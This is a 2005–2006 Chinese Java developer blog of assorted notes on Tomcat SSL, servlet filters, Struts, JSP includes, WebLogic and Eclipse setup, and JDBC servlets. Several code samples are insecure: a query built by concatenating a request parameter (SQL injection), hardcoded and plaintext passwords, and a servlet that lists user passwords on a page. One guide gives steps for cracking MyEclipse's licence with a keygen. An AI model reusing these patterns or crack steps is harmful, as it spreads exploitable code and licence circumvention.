          文章到這里就結(jié)束了,不管你是安全人員、技術(shù)愛好者還是程序員,我都希望本文能對你有所幫助。
          posted @ 2006-02-05 09:58 my java 閱讀(335) | 評論 (0)編輯 收藏
          UC
          43828348

          http://www.wsmmz.net

          http://www.sooweb.net/Html/Soft/82.html

          http://www.hnwuyun.com/jc/

          http://club.cat898.com/newbbs/printpage.asp?BoardID=18&ID=760319

          http://lsdw.go1.icpcn.com/pstg/6.htm

          http://font.flash8.net/font/list.aspx?page=3&c_id=383&s_id=395
          posted @ 2006-02-02 11:17 my java 閱讀(273) | 評論 (0)編輯 收藏
          http://www.comprg.com.cn



          http://supercss.com/
          posted @ 2006-01-26 11:16 my java 閱讀(310) | 評論 (0)編輯 收藏
          1、創(chuàng)建證書鑰匙庫:

          keytool -genkey -alias tomcat -keyalg RSA

          缺省證書文件名為:.keystore

          2、修改文件server.xml
            <Connector port="8443"
                         maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
                         enableLookups="false" disableUploadTimeout="true"
                         acceptCount="100" debug="0" scheme="https" secure="true"
                         clientAuth="false"
                keystoreFile="C:\keystore\.keystore"
                keystorePass="netscape"
                sslProtocol="TLS" />

          3、web.xml
          <security-constraint>
              <web-resource-collection>
                <web-resource-name>Purchase</web-resource-name>
                <url-pattern>/ssl/*</url-pattern>
              </web-resource-collection>
              <auth-constraint>
                <role-name>registered-user</role-name>
              </auth-constraint>
              <user-data-constraint>
                <transport-guarantee>CONFIDENTIAL</transport-guarantee>
              </user-data-constraint>
            </security-constraint>
           
            <!-- Only users in the administrator role can access
                 the delete-account.jsp page within the admin
                 directory. -->
            <security-constraint>
              <web-resource-collection>
                <web-resource-name>Account Deletion</web-resource-name>
                <url-pattern>/admin/delete-account.jsp</url-pattern>
              </web-resource-collection>
              <auth-constraint>
                <role-name>administrator</role-name>
              </auth-constraint>
            </security-constraint>
           
            <!-- Tell the server to use form-based authentication. -->
            <login-config>
              <auth-method>FORM</auth-method>
              <form-login-config>
                <form-login-page>/admin/login.jsp</form-login-page>
                <form-error-page>/admin/login-error.jsp</form-error-page>
              </form-login-config>
            </login-config>
             
           
          4、重啟tomcat


          posted @ 2005-11-02 15:21 my java 閱讀(404) | 評論 (0)編輯 收藏

          /*
           * Created on 2005-9-27
           *
           * TODO To change the template for this generated file go to
           * Window - Preferences - Java - Code Style - Code Templates
           */
          package fibernews.action;
          import javax.servlet.http.*;

          import java.sql.*;
          import java.util.*;
          import fibernews.framework.db.*;
          import fibernews.beans.Employee;
          import fibernews.util.function.HandleString;
          import fibernews.framework.logging.Logger;

          /**
           * @author Administrator
           *
           * TODO To change the template for this generated type comment go to
           * Window - Preferences - Java - Code Style - Code Templates
           */
          public class ListEmpAction extends Action {

           List list ;
           public String process(HttpServletRequest request, HttpServletResponse response) {
               Connection conn=DBHelper.getConnection();
           Statement st=null;
               PreparedStatement pst=null;
               ResultSet rs=null ;
                  String  query=HandleString.toChinese(request.getParameter("query"));
                  if ((query==null)||query.trim().equals("")) query="lmsun";
            try{
           
                String sql="select * from employee_email where name like '%"+query+"%' or email like '%"+query+"%'" ;
                //st=conn.createStatement();
            pst=conn.prepareStatement(sql);
            rs=pst.executeQuery();
            list=new ArrayList();
            Employee emp;
            while (rs.next()){
             emp=new Employee();
             emp.setId(rs.getString("id"));
             emp.setEmployee_bh(rs.getString("employee_bh"));
             emp.setName(rs.getString("name"));
             emp.setEmail(rs.getString("email"));
             emp.setDepartment1(rs.getString("department1"));
             emp.setDepartment2(rs.getString("department2"));
             emp.setDepartment3(rs.getString("department3"));
             list.add(emp);
            }

            
            }
            
             catch (Exception e) {
                   System.out.println("Error Connecting to catalog DB: " + e.toString());
                 }
             finally {
              DBHelper.close(rs,pst,conn);
             }
             request.setAttribute("empList",list);
             return "/intra/query/emailbook.jsp";
            
           }
             public static void main(String[] args)
             {
               ListEmpAction empaction = new ListEmpAction();
               System.out.print("End"); 
             }
            
          }

          posted @ 2005-09-27 13:21 my java 閱讀(318) | 評論 (0)編輯 收藏
          重定向請求

            下面我們來構(gòu)造一個AuthenticationFilter過濾器,它的功能是截獲對Controller Servlet的請求,然后驗證用戶的身份。按照前面介紹的步驟用向?qū)?chuàng)建過濾器時,向?qū)峁┝硕x初始化參數(shù)、過濾器的URL和Servlet映射等參數(shù)。如果不設(shè)置這類參數(shù),缺省情況下向?qū)в眠^濾器本身的名稱創(chuàng)建一個URL映射,我們將在下面用編輯web.xml文件的方式定義映射,因此現(xiàn)在先認可缺省值。注意,如果你想在鏈中使用一個以上的過濾器,那就必須手工編輯web.xml。

            在向?qū)е悬c擊“完成”按鈕后,WSAD立即構(gòu)造出過濾器的骨架代碼。對于本例來說,接下來我們唯一的任務(wù)就是將代碼插入doFilter()方法,如Listing 1所示。

          // Listing 1: AuthenticationFilter.java
          
              public void doFilter(
                  ServletRequest req,
                  ServletResponse resp,
                  FilterChain chain)
                  throws ServletException, IOException {
          
                  String nextPage;
                  RequestDispatcher rd = null;
                  //檢查用戶名稱和密碼
                  if (req.getParameter("userid") != null) {
                      if (!((req.getParameter("password").equals("password"))
                          && (req.getParameter("userid").equals("user")))) {
                          ArrayList actionreport = newArrayList();
                          actionreport.add("登錄失敗。。。");
                          (((HttpServletRequest) req).getSession()).setAttribute(
                              "actionreport", actionreport);
          
                          nextPage = "failure.jsp";
                          System.out.println("獲得了來自過濾器的應(yīng)答。");
                          // 將請求直接傳遞給下一個頁面(而不是Controller Servlet)
                          rd = req.getRequestDispatcher(nextPage);
                          rd.forward(req, resp);
                      } else {
                          req.setAttribute("login", "loginsuccess");
                          // 將請求傳遞給Controller Servlet
                          chain.doFilter(req, resp);
                          System.out.println("獲得了來自過濾器的應(yīng)答。");
                      }
                  } else {
                      rd = req.getRequestDispatcher("Welcome.jsp");
                      rd.forward(req, resp);
                  }
              }


            從上面的代碼可以看出,在過濾器中驗證用戶身份的方式仍和平常的一樣。在此過程中,為了獲得session對象,我們把ServletRequest定型(cast)成了HttpServletRequest。如果用戶未能通過身份驗證,我們不再把請求傳遞給Controller Servlet,而是通過RequestDispatcher把請求傳遞給報告頁面(failure.jsp)。

            如果用戶通過了身份驗證,則我們調(diào)用chain.doFilter(),允許應(yīng)答進入Controller——這是因為調(diào)用chain.doFilter()時,鏈里面已經(jīng)沒有其他過濾器,所以控制將以POST方式轉(zhuǎn)入作為Controller的Servlet,實際上,chain.doFilter()將調(diào)用Controller.doPost()方法。

            發(fā)送請求給Controller之前,我們可以根據(jù)用戶獲得的身份證書來設(shè)置請求的屬性,這些信息將幫助Controller及其輔助類處理請求。作為一個例子,我們設(shè)置了請求的login屬性,然后在Controller中檢查該屬性,Controller把應(yīng)答返回給success.jsp(如Listing 2所示)。

          // Listing 2: controller.java
          
          protected final void doPost(
              HttpServletRequest request,
              HttpServletResponse response) {
          
              // begining codes
              //--用戶已通過身份驗證
              if (((String) request.getAttribute("login")).equals
                 ("login success")) {
                  ArrayList actionreport = new ArrayList();
                  actionreport.add("Correct Password");
                  session.setAttribute("actionreport", actionreport);
                  nextPage = "success.jsp";
              }
              if (dispatch) {
                  RequestDispatcher rd =
                      getServletContext().getRequestDispatcher(nextPage);
                  rd.forward(request, response);
              } else {
          
                  session.invalidate();
          
              }
              // ending codes
          }
          posted @ 2005-09-12 16:27 my java 閱讀(3101) | 評論 (1)編輯 收藏


           

          問題:JavaBean的一個寫文件方法,獨立調(diào)試正常。但移到Struts下,通過Action調(diào)用時,

          拋出異常。


           

          原因:文件路徑問題
          解決方法:
          1.修改原來JavaBean里帶前綴路徑的文件---"resources/users.properties"
          為"users.properties"
          2.將struts框架下的源文件users.properties,直接移到src下
          3.重新編譯,部署
          4.運行這個注冊組件成功后,可以到$服務(wù)器主目錄$/bin下,查看這個已經(jīng)寫過的
          users.properties文件
          以上問題,曾嘗試將resources/user.properite改為絕對路徑"d:/users.properties",
          或改為相對路徑"/resources/properties",或直接向JavaBean中傳入路徑參數(shù)path,
          path=request.getRealPath("")(或request.getContextPath)等,均沒有調(diào)試成功。
          故記錄下來,希望其它網(wǎng)友遇到時,不必再做這樣的重復(fù)勞動。
          附:
          1.Action中調(diào)用方法:
          UserDirectory.getInstance().setUser(userName,password1);
          2.JavaBean的縮略代碼:
          UserDirectory.java
          import java.io.IOException;
          import java.io.FileOutputStream;
          import java.util.Enumeration;
          import java.util.Properties;
          public class UserDirectory {
           private static final String UserDirectoryFile = "users.properties";
           private static final String UserDirectoryHeader = "${user}=${password}";
           public static UserDirectory getInstance() throws UserDirectoryException {
            if (null == userDirectory) {
             userDirectory = new UserDirectory();
            }
             return userDirectory;
           }
           
            public void setUser(String userId, String password) throws
             UserDirectoryException {
             if ( (null == userId) || (null == password)) {
              throw new UserDirectoryException();
             }try {
              p.put(fixId(userId), password);
              p.store(new FileOutputStream(UserDirectoryFile),UserDirectoryHeader);
             }catch (IOException e) {
              throw new UserDirectoryException();
             }
            }
           }
          posted @ 2005-09-07 13:39 my java 閱讀(1513) | 評論 (1)編輯 收藏
          • char charAt(int index)

            returns the character at the specified location.

          • int compareTo(String other)

            returns a negative value if the string comes before other in dictionary order, a positive value if the string comes after other in dictionary order, or 0 if the strings are equal.

          • boolean endsWith(String suffix)

            returns true if the string ends with suffix.

          • boolean equals(Object other)

            returns true if the string equals other.

          • boolean equalsIgnoreCase(String other)

            returns true if the string equals other, except for upper/lowercase distinction.

          • int indexOf(String str)

          • int indexOf(String str, int fromIndex)

            return the start of the first substring equal to str, starting at index 0 or at fromIndex.

          • int lastIndexOf(String str)

          • int lastIndexOf(String str, int fromIndex)

            return the start of the last substring equal to str, starting at the end of the string or at fromIndex.

          • int length()

            returns the length of the string.

          • String replace(char oldChar, char newChar)

            returns a new string that is obtained by replacing all characters oldChar in the string with newChar.

          • boolean startsWith(String prefix)

            returns true if the string begins with prefix.

          • String substring(int beginIndex)

          • String substring(int beginIndex, int endIndex)

            return a new string consisting of all characters from beginIndex until the end of the string or until endIndex (exclusive).

          • String toLowerCase()

            returns a new string containing all characters in the original string, with uppercase characters converted to lower case.

          • String toUpperCase()

            returns a new string containing all characters in the original string, with lowercase characters converted to upper case.

          • String trim()

            returns a new string by eliminating all leading and trailing spaces in the original string.

          字符串與基本數(shù)據(jù)類型的轉(zhuǎn)換間的轉(zhuǎn)換必須使用JSP中的對象函數(shù)
          Boolean.getBoolean(String)
          Byte.parseByte(String)
          Short.parseShort(String)
          Integer.parseInt(String)
          Long.parseLong(String)
          Float.parseDouble(String)
          Double.parseDouble(String)
          String.valueOF(數(shù)據(jù))


          Array

        1. static void arraycopy(Object from, int fromIndex, Object to, int toIndex, int count)

          Parameters:

          from

          an array of any type (Chapter 5 explains why this is a parameter of type Object)

           

          fromIndex

          the starting index from which to copy elements

           

          to

          an array of the same type as from

           

          toIndex

          the starting index to which to copy elements

           

          count

          the number of elements to copy

          copies elements from the first array to the second array.

          java.util.Arrays 1.2

           

          • static void sort(Xxx[] a)

            Parameters:

            a

            an array of type int, long, short, char, byte, boolean, float or double

            sorts the array, using a tuned QuickSort algorithm.

          • static int binarySearch(Xxx[] a, Xxx v)

            Parameters:

            a

            a sorted array of type int, long, short, char, byte, boolean, float or double

             

            v

            a value of the same type as the elements of a

            uses the BinarySearch algorithm to search for the value v. If it is found, its index is returned. Otherwise, a negative value r is returned; -r - 1 is the spot at which v should be inserted to keep a sorted.

          • static void fill(Xxx[] a, Xxx v)

            Parameters:

            a

            an array of type int, long, short, char, byte, boolean, float or double

             

            v

            a value of the same type as the elements of a

            sets all elements of the array to v.

          • static boolean equals(Xxx[] a, Object other)

            Parameters:

            a

            an array of type int, long, short, char, byte, boolean, float or double

             

            other

            an object

            returns true if other is an array of the same type, if it has the same length, and if the elements in corresponding indexes match.

        2. eg: 

           int[] smallPrimes = {2, 3, 5, 7, 11, 13};
            int[] luckyNumbers = {1001, 1002, 1003, 1004, 1005, 1006, 1007};
            System.arraycopy(smallPrimes, 2, luckyNumbers, 3, 3);
            for (int i = 0; i < luckyNumbers.length; i++)
               System.out.println(i + ": " + luckyNumbers[i]);

          posted @ 2005-09-05 13:56 my java 閱讀(339) | 評論 (0)編輯 收藏

          dateadd()函數(shù)

          dateadd(datepart,number,date)

          例:
          dateadd(month,1,getdate())
          posted @ 2005-09-05 13:50 my java 閱讀(275) | 評論 (0)編輯 收藏


          1、Message.java
          public class Message {

           public static void main(String[] args) {
              if (args[0].equals("-h"))
                    System.out.print("Hello,");
                 else if (args[0].equals("-g"))
                    System.out.print("Goodbye,");
                 // print the other command line arguments
                 for (int i = 1; i < args.length; i++)
                    System.out.print(" " + args[i]);
                 System.out.println("!");

           }
          }

          test:
          java Message -g cruel world



          import java.util.*;
          import javax.swing.*;
          public class FirstSample {

           public static void main(String[] args) {
                 String input = JOptionPane.showInputDialog
                    ("How many numbers do you need to draw?");
                 int k = Integer.parseInt(input);

                 input = JOptionPane.showInputDialog
                    ("What is the highest number you can draw?");
                 int n = Integer.parseInt(input);

                 // fill an array with numbers 1 2 3 . . . n
                 int[] numbers = new int[n];
                 for (int i = 0; i < numbers.length; i++)
                 {    numbers[i] = i + 1;
                 System.out.println(numbers[i]);
                 }
                 // draw k numbers and put them into a second array

                 int[] result = new int[k];
                 for (int i = 0; i < result.length; i++)
                 { 
                    // make a random index between 0 and n - 1
                    int r = (int)(Math.random() * n);

                    // pick the element at the random location
                    result[i] = numbers[r];

                    // move the last element into the random location
                    numbers[r] = numbers[n - 1];
                    n--;
                 }

                 // print the sorted array

                 Arrays.sort(result);
                 System.out.println
                    ("Bet the following combination. It'll make you rich!");
                 for (int i = 0; i < result.length; i++)
                    System.out.println(result[i]);

                 System.exit(0);

           }
          }

          posted @ 2005-09-05 10:51 my java 閱讀(215) | 評論 (0)編輯 收藏
          Weblogic8.X安裝及連接池配置指南

          http://dev.csdn.net/develop/article/51/51809.shtm


          1.安裝jre
          Eclipse雖然由java開發(fā),但本身并不自帶jre。所以你必須先自己安裝,去http://java.sun.com/downloads下載最新J2SE1.4.2_03的jre安裝文件j2re-1_4_2_03-windows-i586-p.exe。安裝成功后,重啟機器,并將jre的bin文件夾路徑添加到系統(tǒng)環(huán)境變量PATH中,如:C:\Program Files\Java\j2re1.4.2_03\bin。
          2.安裝Eclipse2.1.2
          Eclipse目前最新的stable已經(jīng)Build到了3.0M5,但是這個版本的LanguagePackFeature還沒有推出,直接用LanguagePackFeature2.1.2有問題。故建議用Eclipse穩(wěn)定版本2.1.2,配上LanguagePackFeature2.1.2后可實現(xiàn)全中文界面。Eclipse SDK 2.1.2和其LanguagePackFeature下載地址為http://download2.eclipse.org/downloads。
          Eclipse的安裝非常簡單,只需解壓縮eclipse-SDK-2.1.2-win32.zip,將文件夾eclipse拷貝到你想要的地方。然后雙擊eclipse.exe,即開始編譯并初始化Eclipse,完畢自動進入Eclipse。
          下面開始安裝LanguagePackFeature。
          (1)解壓縮eclipse2.1.2.1-SDK-win32-LanguagePackFeature.zip。
          (2)啟動Eclipse,選擇“Help\Software Updates\Update Manager”菜單,使主界面切換到安裝更新透視圖畫面。
          (3)在窗體左下方的Feature Updates視圖中單擊鼠標(biāo)右鍵,選擇“New\Site Bookmark”菜單,彈出New Site Bookmark對話框。在Name處隨便輸入什么名字,如:LanguagePack。URL處輸入前面(1)解壓縮后文件夾路徑,如:file: E:\開發(fā)工具\Eclipse\eclipse2.1.2.1-SDK-win32-LanguagePackFeature\eclipse。完畢按下Finish按鈕,關(guān)閉對話框。這時Feature Updates視圖中就會出現(xiàn)一項“LanguagePack”。展開該項,就可以看到很多語言包插件。
          (4)選擇一個語言包,如:Eclipse Java Development 工具語言包 1.2.1.2,單擊右邊視圖中的Install Now按鈕,即開始安裝。安裝成功后,Eclipse會重新啟動。依次類推,逐個安裝所有的語言包插件。在整個安裝過程中你會發(fā)現(xiàn)所有界面都變成了簡體中文。
          3.安裝MyEclipse2.7RC2
          去http://www.myeclipseide.com下載最新的MyEclipse安裝文件myeclipse_Enterprise_Workbench_Installer_020700RC2.exe。在安裝過程中需要提供Eclipse所在文件夾的路徑,安裝成功后會自動進入Eclipse。這時你就會發(fā)現(xiàn)主菜單中多出一項“MyEclipse”,我們再選擇“窗口\首選項”菜單,打開首選項對話框。展開MyEclipse結(jié)點,單擊Subscription子項,可以看到這是個30天限制版。不過你可以到http://www.cracks4u.com上下載破解程序MyEclipse_Enterprise_Workbench_v3.6.4.zip。運行zip中的keygen.exe,隨便輸入一個用戶名,然后選擇2.6.4版本,單擊Generate按鈕生成Subscription Code。將用戶名和Subscription Code輸入到上述的Subscriber和Subscription Code文本框中,點擊“應(yīng)用”按鈕即可看到信息Number of Licenses:unlimited,至此你的MyEclipse已被破解。
          4.安裝WebLogic8.1
          安裝WebLogic比較容易,在這里就不再累述了,大家可以參閱相關(guān)文檔。現(xiàn)在著重講一下WebLogic的配置,因為后面在配置MyEclipse時將用到這里的有關(guān)信息。
          (1)運行開始\程序\BEA WebLogic PlatFORM 8.1\Configuration Wizard。
          (2)選擇Create a new WebLogic configuration,下一步。
          (3)選擇Basic WebLogic Server Domain,下一步。
          (4)選擇Custom,下一步。
          (5)在Name處輸入admin,Listen Address處選擇localhost,以下兩個Port均采用默認值,下一步。
          (6)選擇Skip跳過Multiple Servers,Clusters,and Machines Options,下一步。
          (7)選擇Skip跳過JDBC連接池的配置(注:JDBC連接池的配置可以在啟動WebLogic后到控制臺上進行,大家可以參閱相關(guān)文檔),下一步。
          (選擇Skip跳過JMS的配置(同樣留到控制臺上做),下一步。
          (9)繼續(xù)跳過,下一步。
          (10)選擇Yes,下一步。
          (11)在User頁點擊Add,隨意添加一個用戶user,密碼12345678,下一步。
          (12)將用戶user分配到Administrators組(還可以同時分配到其它組,方法是選中待加入的組,然后勾中user前的復(fù)選框即可),下一步。
          (13)直接點擊下一步跳過。
          (14)設(shè)置用戶user的權(quán)限,選中Admin,勾中user前的復(fù)選框(要指定其它權(quán)限依次類推),下一步。
          (15)采用默認設(shè)置,直接點擊下一步跳過。
          (16)同樣采用默認設(shè)置,直接點擊下一步跳過。
          (17)配置JDK,采用WebLogic的默認值,直接點擊下一步跳過。
          (1最后在Configuration Name處輸入dev,然后點擊Create生成配置,完畢點擊Done關(guān)閉Configuration Wizard對話框。
          5.配置MyEclipse的WebLogic服務(wù)器
          MyEclipse默認的應(yīng)用服務(wù)器為JBoss3,這里我們使用WebLogic8.1。啟動Eclipse,選擇“窗口\首選項”菜單,打開首選項對話框。展開MyEclipse下的Application Servers結(jié)點,點擊JBoss 3,選中右面的Disable單選按鈕,停用JBoss 3。然后點擊WebLogic 8,選中右邊的Enable單選按鈕,啟用WebLogic服務(wù)器。同時下面的配置如下:
          (1)BEA home directory:D:\BEA。假定WebLogic安裝在D:\BEA文件夾中。
          (2)WebLogic installation directory:D:\BEA\weblogic81。
          (3)Admin username:user。
          (4)Admin password:12345678。
          (5)Execution domain root:D:\BEA\user_projects\dev。
          (6)Execution domain name:dev。
          (7)Execution server name:admin。
          (8)Hostname:PortNumber:localhost:7001。
          (9)Security policy file:D:\BEA\weblogic81\server\lib\weblogic.policy。
          (10)JAAS login configuration file:省略。
          接著展開WebLogic 8結(jié)點,點擊JDK,在右邊的WLS JDK name處選擇WebLogic 8的默認JDK。這里組合框中缺省為j2re1.4.2_03,即之前單獨安裝的jre。單擊Add按鈕,彈出WebLogic > Add JVM對話框,在JRE名稱處隨便輸入一個名字,如jre1.4.1_02。然后在JRE主目錄處選擇WebLogic安裝文件夾中的JDK文件夾,如D:\BEA\jdk141_02,程序會自動填充Javadoc URL文本框和JRE系統(tǒng)庫列表框。單擊確定按鈕關(guān)閉對話框。這時候就可以在WLS JDK name組合框中選擇jre1.4.1_02了。之后還要在下面的Optional Java VM arguments,如-ms64m -mx64m -Djava.library.path="D:/BEA/weblogic81/server/bin" -Dweblogic.management.discover=false -Dweblogic.ProductionModeEnabled=false
          最后點擊Paths,在右邊的Prepend to classpath列表框中,通過Add JAR/ZIP按鈕,加入D:\BEA\weblogic81\server\lib\weblogic.jar、D:\BEA\weblogic81\server\lib\webservices.jar。如果用到數(shù)據(jù)庫,還需把數(shù)據(jù)庫的驅(qū)動類庫加進來,這里我們用WebLogic自帶的SQL Server數(shù)據(jù)庫驅(qū)動庫D:\BEA\weblogic81\server\lib\mssqlserver4v65.jar。
          至此,MyEclipse中WebLogic8的配置工作就算完成了。下面可以看看在Eclipse中能否啟動WebLogic了?自從安裝了MyEclipse之后,Eclipse工具欄中就會有一個Run/Stop Servers下拉按鈕。點擊該按鈕的下拉部分,選擇“WebLogic 8\Start”菜單,即開始啟動WebLogic了。通過查看下面的控制臺消息,就可以知道啟動是否成功,或有什么異常發(fā)生。停止WebLogic可選擇“WebLogic\Stop”菜單。
          6.創(chuàng)建第一個Web程序——HelloWorld
          啟動Eclipse:
          (1)選擇“文件\新建\項目”菜單,打開新建項目向?qū)АJ紫冗x擇左邊的J2EE,然后選擇右邊的Web Module Project,下一步在Project Name處理輸入HelloWorld,點擊完成按鈕,生成項目文件。包視圖結(jié)構(gòu)如下:
          HelloWorld
          ├─src
          ├─JRE系統(tǒng)庫[j2re1.4.2_03]
          ├─J2EE 1.3 Library Container
          └─WebRoot
          (2)點擊src,單擊鼠標(biāo)右鍵,選擇“新建\Servlet”菜單,創(chuàng)建HelloWorld Servlet。在包名稱處輸入servlet,在Servlet名稱處輸入HelloWorld,去掉Create doGet復(fù)選框中的勾,下一步,采用默認設(shè)置,點擊完成按鈕。修改doPost方法代碼如下:
          response.setContentType("text/xml");
          PrintWriter out = response.getWriter();
          out.println("Hello World");
          out.flush();
          out.close();
          (3)點擊WebRoot,單擊鼠標(biāo)右鍵,選擇“新建\HTML”菜單,創(chuàng)建一個HTML頁面。將File Name改為index.html,點擊完成按鈕。將下列代碼替換<body>、</body>之間的代碼:
          <script language="vbscript">
          function bytes2bstr(vin)
          strreturn = ""
          for k = 1 to lenb(vin)
          thischarcode = ascb(midb(vin,k,1))
          if thischarcode < &h80 then
          strreturn = strreturn & chr(thischarcode)
          else
          nextcharcode = ascb(midb(vin,k+1,1))
          strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
          k = k + 1
          end if
          next
          bytes2bstr = strreturn
          end function
          </script>

          <script language="javascript">
          var xml=null;
          var XMLSender=new ActiveXObject("Microsoft.XMLHTTP");
          var url="http://localhost:7001/HelloWorld/servlet/HelloWorld?";
          XMLSender.Open("POST",url,false);
          XMLSender.setRequestHeader("Content-Type","text/xml; charset=UTF-8");
          XMLSender.send(xml);
          var msg=bytes2bstr(XMLSender.responsebody);
          document.writeln(msg);
          </script>
          (4)展開WEB-INF結(jié)點,雙擊打開web.xml,在</servlet-mapping>下面加入下列語句:
          <welcome-file-list>
          <welcome-file>index.html</welcome-file>
          </welcome-file-list>
          (5)點擊HelloWorld,單擊鼠標(biāo)右鍵,選擇“MyEclipse\Add and Remove Project Deployments…”菜單,彈出Project Deployments對話框,在Project組合框中選擇HelloWorld,單擊Add,在Server組合框中選擇WebLogic 8,點擊完成按鈕回到Project Deployments對話框,這時服務(wù)器信息就會顯示在Deployments列表中,點擊確定按鈕關(guān)閉對話框。
          (6)點擊工具欄上的Run/Stop Servers下拉按鈕,選擇“WebLogic 8\Start”菜單,啟動服務(wù)器。
          (7)運行IE,在地址欄輸入http://localhost:7001/HelloWorld/index.html,即可在頁面中看到“Hello World”字樣。
          posted @ 2005-08-25 15:43 my java 閱讀(1065) | 評論 (0)編輯 收藏
          http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASRefGuide.html

          http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASLMDevGuide.html


          http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASRefGuide.html

          http://java.sun.com/j2se/1.4.1/docs/api/javax/security/auth/login/Configuration.html
          posted @ 2005-08-25 14:29 my java 閱讀(264) | 評論 (0)編輯 收藏

          The include Directive


          The following is the syntax for the include directive:

          <%@ include file="relativeURL" %>

          As you can see the directive accepts a single file attribute that is used to indicate the resource whose content is to be included in the declaring JSP. The file attribute is interpreted as a relative URL; if it starts with a slash it's interpreted as relative to the context of the web application (namely a context-relative path), otherwise it's interpreted as relative to the path of the JSP that contains the include directive (namely a page relative path). The included file may contain either static content, such as HTML or XML, or another JSP page.

          For example:
          <%@ include file="/copyright.html"%>


          Let's consider a real-world example of such a templating mechanism that utilizes the include directive to provide a consistent page layout for a web application.

          Consider the following two JSP pages:

          Header.jsp
              <html>
                <head><title>A Very Simple Example</title></head>
                <body style="font-family:verdana,arial;font-size:10pt;">
                  <table width="100%" height="100%">
                    <tr bgcolor="#99CCCC">
                      <td align="right" height="15%">Welcome to this example...</td>
                    </tr>
                    <tr>
                      <td height="75%">

          Footer.jsp
                     </td>
                   </tr>
                   <tr bgcolor=" #99CC99">
                     <td align="center" height="10%">Copyright ACompany.com 2003</td>
                   </tr>
                 </table>
               </body>
             </html>

          As you can see, Header.jsp declares the starting elements of an HTML table that is to be 100 percent of the size of the page and has two rows, whereas Footer.jsp simply declares the closing elements for the table. Used separately, either JSP will result in partial HTML code that will look very strange to a user but when they're combined using the include directive it's easy to create consistent pages as part of a web application.

          Let's see just how simple this basic template mechanism is to use:

          Content.jsp
              <%@ include file='./Header.jsp'%>
              <p align="center">The Content Goes Here...!!!</p>
              <%@ include file='./Footer.jsp'%>

          2、
          date.jsp
          <html>
            <body>
              <h2>Greetings!</h2>
           <P>The current time is <%=new java.util.Date()%> precisely
            </body>
          </html>

          3、
          dateBean.jsp
          <html>
              <head><title>Professional JSP, 3rd Edition</title></head>
              <body style="font-family:verdana;font-size:10pt;">
                  <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
                  <h2>Today's date is <%= date.getDate() %></h2>
              </body>
          </html>

          或:
          dateBean_getProperty.jsp
          <html>
              <head><title>Professional JSP, 3rd Edition</title></head>
              <body style="font-family:verdana;font-size:10pt;">
                  <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
                  <h2>Today's date is <jsp:getProperty name="date" property="date"/></h2>
              </body>
          </html>

          dateBean_setProperty.jsp
          <html>
              <head><title>Professional JSP, 3rd Edition</title></head>
              <body style="font-family:verdana;font-size:10pt;">
                  <jsp:useBean id="date" class="com.apress.projsp20.ch01.DateFormatBean"/>
                  <jsp:setProperty name="date" property="format"
                                   value="EEE, d MMM yyyy HH:mm:ss z"/>
                  <h2>Today's date is <jsp:getProperty name="date" property="date"/></h2>
              </body>
          </html>

          其中DateFormatBean.java:
             package com.apress.projsp20.ch01;

              import java.util.Date;
              import java.text.*;

              public class DateFormatBean {
                private DateFormat dateFormat;
                private Date date;

                public DateFormatBean() {
                  dateFormat = DateFormat.getInstance();
                  date = new Date();
                }

                public String getDate() {
                  return dateFormat.format(date);
                }

                public void setDate(Date date) {
                  this.date = date;
                }

                public void setFormat(String format) {
                  this.dateFormat = new SimpleDateFormat(format);
                }
              }
          例:SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

          posted @ 2005-08-24 17:20 my java 閱讀(303) | 評論 (0)編輯 收藏


          DBPhoneLookupReuse.java
          import java.io.*;
          import java.sql.*;
          import javax.servlet.*;
          import javax.servlet.http.*;

          public class DBPhoneLookupReuse extends HttpServlet {

            private Connection con = null;

            public void init() throws ServletException {
              try {
                // Load (and therefore register) the Sybase driver
                Class.forName("com.jnetdirect.jsql.JSQLDriver");
                con = DriverManager.getConnection(
                  "jdbc:JSQLConnect://127.0.0.1/database=JAAS", "sa", "db_password");
              }
              catch (ClassNotFoundException e) {
                throw new UnavailableException("Couldn't load database driver");
              }
              catch (SQLException e) {
                throw new UnavailableException("Couldn't get db connection");
              }
            }

            public void doGet(HttpServletRequest req, HttpServletResponse res)
                                         throws ServletException, IOException {
              res.setContentType("text/html");
              PrintWriter out = res.getWriter();

              out.println("<HTML><HEAD><TITLE>Phonebook</TITLE></HEAD>");
              out.println("<BODY>");

              HtmlSQLResult result =
                new HtmlSQLResult("SELECT UserName,Password FROM Users", con);

              // Display the resulting output
              out.println("<H2>Users:</H2>");
              out.println(result);
              out.println("</BODY></HTML>");
            }

            public void destroy() {
              // Clean up.
              try {
                if (con != null) con.close();
              }
              catch (SQLException ignored) { }
            }
          }

          HtmlSQLResult.java
          import java.sql.*;

          public class HtmlSQLResult {
            private String sql;
            private Connection con;

            public HtmlSQLResult(String sql, Connection con) {
              this.sql = sql;
              this.con = con;
            }

            public String toString() {  // can be called at most once
              StringBuffer out = new StringBuffer();

              // Uncomment the following line to display the SQL command at start of table
              // out.append("Results of SQL Statement: " + sql + "<P>\n");

              try {
                Statement stmt = con.createStatement();

                if (stmt.execute(sql)) {
                  // There's a ResultSet to be had
                  ResultSet rs = stmt.getResultSet();
                  out.append("<TABLE>\n");

                  ResultSetMetaData rsmd = rs.getMetaData();

                  int numcols = rsmd.getColumnCount();
            
                  // Title the table with the result set's column labels
                  out.append("<TR>");
                  for (int i = 1; i <= numcols; i++)
                    out.append("<TH>" + rsmd.getColumnLabel(i));
                  out.append("</TR>\n");

                  while(rs.next()) {
                    out.append("<TR>");  // start a new row
                    for(int i = 1; i <= numcols; i++) {
                      out.append("<TD>");  // start a new data element
                      Object obj = rs.getObject(i);
                      if (obj != null)
                        out.append(obj.toString());
                      else
                        out.append("&nbsp;");
                      }
                    out.append("</TR>\n");
                  }

                  // End the table
                  out.append("</TABLE>\n");
                }
                else {
                  // There's a count to be had
                  out.append("<B>Records Affected:</B> " + stmt.getUpdateCount());
                }
              }
              catch (SQLException e) {
                out.append("</TABLE><H1>ERROR:</H1> " + e.getMessage());
              }
            
              return out.toString();
            }
          }

          posted @ 2005-08-24 14:49 my java 閱讀(465) | 評論 (0)編輯 收藏

